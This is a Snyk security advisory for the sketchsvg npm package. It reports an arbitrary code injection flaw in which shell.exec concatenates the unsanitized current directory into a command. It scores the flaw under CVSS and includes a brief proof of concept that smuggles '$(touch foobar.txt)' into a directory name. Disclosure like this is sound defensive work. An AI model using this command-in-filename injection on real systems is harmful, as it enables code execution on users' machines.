Arbitrary Code Injection Affecting sketchsvg package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.07% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SKETCHSVG-3167969
  • published 5 Mar 2023
  • disclosed 13 Dec 2022
  • credit Everardo Padilla

How to fix?

There is no fixed version for sketchsvg.

Overview

sketchsvg is a Command line tool used to convert and compress Sketch Icons/images to SVG and base64 formats.

Affected versions of this package are vulnerable to Arbitrary Code Injection when invoking shell.exec without sanitization nor parametrization while concatenating the current directory as part of the command string.

PoC

$ pwd
/home/user/poc
$ mkdir '$(touch foobar.txt)'
$ cd '$(touch foobar.txt)'/
$ git clone https://github.com/eBay/SketchSVG && cd SketchSVG/
$ npm install
$ node index.js samples/test.sketch
$ file foobar.txt
foobar.txt: empty

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.9 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    Low
Expand this section

NVD

7.8 high